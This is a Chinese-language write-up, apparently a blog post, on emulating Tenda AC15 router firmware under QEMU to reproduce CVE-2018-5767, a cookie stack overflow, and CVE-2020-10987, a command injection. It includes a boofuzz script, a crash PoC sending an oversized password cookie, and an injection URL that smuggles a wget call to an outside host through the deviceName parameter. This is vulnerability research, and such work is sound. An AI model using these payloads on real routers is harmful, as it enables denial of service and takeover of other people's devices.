设备:Tenda AC15 路由器(可能包含其他系列路由器)

固件版本:<V15.03.05.18

测试固件:US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

0x10 漏洞分析

0x11 httpd 逆向

使用 binwalk 解压固件,打开文件系统 bin/httpd,使用 IDA 分析


虽然该二进制已经 striped,没有符号表,但是仍然能够看到部分函数名,这些名称往往是外部库函数或者是开源代码。如上所示,从这些函数名称可以推断 httpd 使用了 GoAhead


从字符串信息可以进一步推断组件版本信息,2.1.8。找到类似版本 goahead 代码,笔者从 github 上找到了一个大版本接近的源码 2.5。由于 goahead 使用了大量回调,仅仅是从反编译的代码,很难看出处理数据的流程函数。所以,从源码中,简单分析一下处理数据的流程

websUrlHandlerDefine 负责注册各个具体的处理函数,将各个 handlers 放入一个数组中


经过层层回溯,找到最终调用各个处理函数的地方(websUrlHandlerRequest


也就是说,goahead 会根据不同的 url 来决定由哪个函数进行 http 报文的处理。

wp 是真正传入的待处理数据,是一个结构体,此结构体至关重要,IDA 只是会把结构体识别成数组,因此反编译代码中,往往找不到各个元素的定义。我们需要将相关结构体添加到 IDA

IDA中导入C语言声明的结构体

在 View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体

struct ringq_t{unsigned char   *buf;               /* Holding buffer for data */unsigned char   *servp;             /* Pointer to start of data */unsigned char   *endp;              /* Pointer to end of data */unsigned char   *endbuf;            /* Pointer to end of buffer */int             buflen;             /* Length of ring queue */int             maxsize;            /* Maximum size */int             increment;          /* Growth increment */
}
struct websRec {ringq_t         header;             /* Header dynamic string */__time_t            since;              /* Parsed if-modified-since time */char*       cgiVars;            /* CGI standard variables */char*       cgiQuery;           /* CGI decoded query string */__time_t            timestamp;          /* Last transaction with browser */int             timeout;            /* Timeout handle */char            ipaddr[32];         /* Connecting ipaddress */char            type[64];           /* Mime type */char            *dir;               /* Directory containing the page */char            *path;              /* Path name without query */char            *url;               /* Full request url */char            *host;              /* Requested host */char            *lpath;             /* Cache local path name */char            *query;             /* Request query */char            *decodedQuery;      /* Decoded request query */char            *authType;          /* Authorization type (Basic/DAA) */char            *password;          /* Authorization password */char            *userName;          /* Authorization username */char            *cookie;            /* Cookie string */char            *userAgent;         /* User agent (browser) */char            *protocol;          /* Protocol (normally HTTP) */char            *protoVersion;      /* Protocol version */int             sid;                /* Socket id (handler) */int             listenSid;          /* Listen Socket id */int             port;               /* Request port number */int             state;              /* Current state */int             flags;              /* Current flags -- see above */int             code;               /* Request result code */int             clen;               /* Content length */int             wid;                /* Index into webs */char            *cgiStdin;          /* filename for CGI stdin */int             docfd;              /* Document file descriptor */int             numbytes;           /* Bytes to transfer to browser */int             written;            /* Bytes actually transferred */void            (*writeSocket)(struct websRec *wp);
}

0x12 CVE-2018-5767 栈溢出

sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数


找到此函数定义,并将入参 1 修改为结构体 websRec


sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。

0x13 CVE-2020-10987 远程命令执行

这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。

  • AC 6
  • AC 7
  • AC 8
  • AC 9
  • AC 11
  • AC 15

腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。

这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog

结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。

0x20 搭建目标进程仿真环境

0x21 绕过判断条件

解压固件,尝试运行 httpd,会卡在如下界面

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...

分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态


比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件


一个很好用的在线汇编和反汇编器


此时再次运行,目标进程有了新的进展

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                                    1 ⚙
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!

通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd


再次运行 httpd,发现得到的 IP 地址明显有问题


这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd

0x22 修复网卡配置信息

回到 check_network 函数,这是一个外部函数,定义在 libcommon.so


继续分析

int getLanIfName()
{return get_eth_name(0);
}

又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so


因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡

sudo tunctl -t br0 -u lys
sudo ifconfig br0 192.168.10.1/24

此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址

0x30 漏洞发现与验证

0x31 协议 fuzz

boofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下

from boofuzz import *IP = "192.168.0.5"
PORT = 80def check_response(target, fuzz_data_logger, session, *args, **kwargs):fuzz_data_logger.log_info("Checking test case response...")try:response = target.recv(512)except:fuzz_data_logger.log_fail("Unable to connect to target. Closing...")target.close()return#if empty responseif not response:fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")target.close()return#remove everything after null terminator, and convert to string#response = response[:response.index(0)].decode('utf-8')fuzz_data_logger.log_info("response check...\n" + response.decode())target.close()returndef main():'''options = {"start_commands": ["sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"],"stop_commands": ["echo stopping"],"proc_name": ["/usr/bin/qemu-arm-static ./httpd"]}procmon = ProcessMonitor("127.0.0.1", 26002)procmon.set_options(**options)'''session = Session(target=Target(connection=SocketConnection(IP, PORT, proto="tcp"),# monitors=[procmon]),post_test_case_callbacks=[check_response],)s_initialize(name="Request")with s_block("Request-Line"):# Line 1s_group("Method", ["GET"])s_delim(" ", fuzzable=False, name="space-1-1")s_string("/goform/123", fuzzable=False)    # fuzzable 1s_delim(" ", fuzzable=False, name="space-1-2")s_static("HTTP/1.1", name="HTTP_VERSION")s_static("\r\n", name="Request-Line-CRLF-1")# Line 2s_static("Host")s_delim(": ", fuzzable=False, name="space-2-1")s_string("192.168.0.5", fuzzable=False, name="IP address")s_static("\r\n", name="Request-Line-CRLF-2")# Line 3s_static("Connection")s_delim(": ", fuzzable=False, name="space-3-1")s_string("keep-alive", fuzzable=False, name="Connection state")s_static("\r\n", name="Request-Line-CRLF-3")# Line 4s_static("Cookie")s_delim(": ", fuzzable=False, name="space-4-1")s_string("bLanguage", fuzzable=False, name="key-bLanguage")s_delim("=", fuzzable=False)s_string("en", fuzzable=False, name="value-bLanguage")s_delim("; ", fuzzable=False)s_string("password", fuzzable=False, name="key-password")s_delim("=", fuzzable=False)s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True)    # fuzzable 2s_static("\r\n", name="Request-Line-CRLF-4")# overs_static("\r\n")s_static("\r\n")session.connect(s_get("Request"))session.fuzz()if __name__ == "__main__":main()

目标进程崩溃


boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃

0x32 POC

可以编写简单的脚本验证

import requestsip = 192.168.0.5
url = "http://%s/goform/execCommand"%  ip
cookie = {"Cookir":"password=" + "A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text

下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…

0x40 总结

对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。

但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。

固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现相关推荐

  1. Tenda AC15路由器仿真——IDA+QEMU

    仿真过程 工具准备 提取固件文件系统 尝试开启网络服务 IDA调试程序并修改代码 开启服务并验证 工具准备 提取固件 进入固件所在位置,使用binwalk提取固件文件系统.可发现该文件系统为小端存储. ...

  2. 转载:最近有两款路由器D-link , Tenda分别被爆出固件中存在后门

    最近有两款路由器分别被爆出固件中存在后门. D-link D-link是台湾公司,成立于1986年,『公司致力于高级网络.宽带.数字.语音和数据通信解决方案的设计.制造和营销,是业界的全球领导者』(官 ...

  3. 嵌入式设备和固件中的自动漏洞检测(一):概览

    原文链接:Automatic Vulnerability Detection in Embedded Devices and Firmware: Survey and Layered Taxonomi ...

  4. 嵌入式设备和固件中的自动漏洞检测(二):动态分析与符号执行技术

    原文链接:Automatic Vulnerability Detection in Embedded Devices and Firmware: Survey and Layered Taxonomi ...

  5. 嵌入式设备和固件中的自动漏洞检测(三):静态分析技术

    原文链接:Automatic Vulnerability Detection in Embedded Devices and Firmware: Survey and Layered Taxonomi ...

  6. java根据散点图模拟出直线_借助Excel中XY散点图来模拟实现纵向折线图的方法

    Excel中的折线图通常是在水平方向上展示数据图线,如果希望在纵向上也能展现折线图,可以借助XY散点图来模拟实现.本文就图文介绍了借助Excel中XY散点图来模拟实现纵向折线图的方法. 具体方法可参考 ...

  7. pandas使用方括号[]或者loc函数、基于列名称或者列名称列表索引dataframe中的单个数据列或者多个数据列(accessing columns of a dataframe)

    pandas使用方括号[]或者loc函数.基于列名称或者列名称列表索引dataframe中的单个数据列或者多个数据列(accessing columns of a dataframe using co ...

  8. R语言ggplot2可视化:jupyter中设置全局图像大小、jupyter中自定义单个ggplot2图像结果的大小

    R语言ggplot2可视化:jupyter中设置全局图像大小.jupyter中自定义单个ggplot2图像结果的大小 目录

  9. php+签到+二进制方式,PHP开发中如何实现二进制搜索?

    二进制搜索(折半查找)是一种用于搜索排序数组中元素的搜索技术.那么PHP中如何实现二进制搜索?下面本篇文章就来给大家介绍在PHP中如何使用迭代和递归方式来实现二进制搜索,希望对大家有所帮助. 方法一: ...

  10. mac 二进制安装mysql_如何在MAC中安装mysql二进制分发版

    如何在MAC电脑中安装mysql二进制分发版,对于这个问题,许多用户都还不是很清楚,其实解决的方法也不难,那么具体该怎么做呢?现在小编就告诉大家解决的方法吧. 没有mac的root密码,当前用户有su ...

最新文章

  1. Linux 虚拟化网络技术 — 虚拟网络协议栈
  2. Cocos Creator—定制H5游戏首页loading界面
  3. c#如何判断字符串是否含中文
  4. 算法基础:常用的查找算法知识笔记
  5. 使用TFS CI/CD 完成 VSTS 插件自动化部署和发布
  6. 5930. 两栋颜色不同且距离最远的房子
  7. android 自定义菜单栏,GitHub - earthWo/AndroidBottomNavigation: android 底部菜单栏,自定义样式,自定义菜单数量,添加滚动动画和水波纹动画...
  8. stm32 工业按键检测_基于STM32芯片的能谱仪设计
  9. 201771010101白玛次仁《面向对象程序设计(java)》第十二周实验总结
  10. Xavier上的第一个I2C驱动
  11. 千万数据去重_如何在 1 秒内做到大数据精准去重?
  12. 2018网易校招前端笔试考后总结
  13. 怎么用计算机编写圆的面积,圆面积计算器.doc
  14. “第三届金融CIO班”开学典礼成功举行
  15. python 统计计数
  16. opencv绘制椭圆
  17. 企业快车道上的3个信号灯
  18. 一招惊艳所有人,HTML制作网页成绩表
  19. 杀出重围3显卡测试软件,更多游戏实测-《战地5》实测-3D MARK跑分-配套软件-微星RTX 2060 Gaming Z 6G非公版显卡开箱上手体验_游戏硬件_游侠网...
  20. 计算机考研落榜了怎么办,一位考研落榜者的自述:考研失败的原因

热门文章

  1. Ubuntu 19.04 磁盘加密
  2. android wifi信号检测
  3. IE插件在注册表中的相关位置
  4. 关于SVN状态图标不显示的解决办法
  5. iOS经典讲解之Socket使用教程
  6. 全国银行开户行名称查询数据库,包括行号、电话、地址、
  7. 阿里云和腾讯云全方位对比
  8. 数学中 对数log 指数
  9. python音标1003python音标_词汇小助手V1.2——可以显示英语单词的国际音标
  10. 项目管理ITTO(一张图梳理49个过程)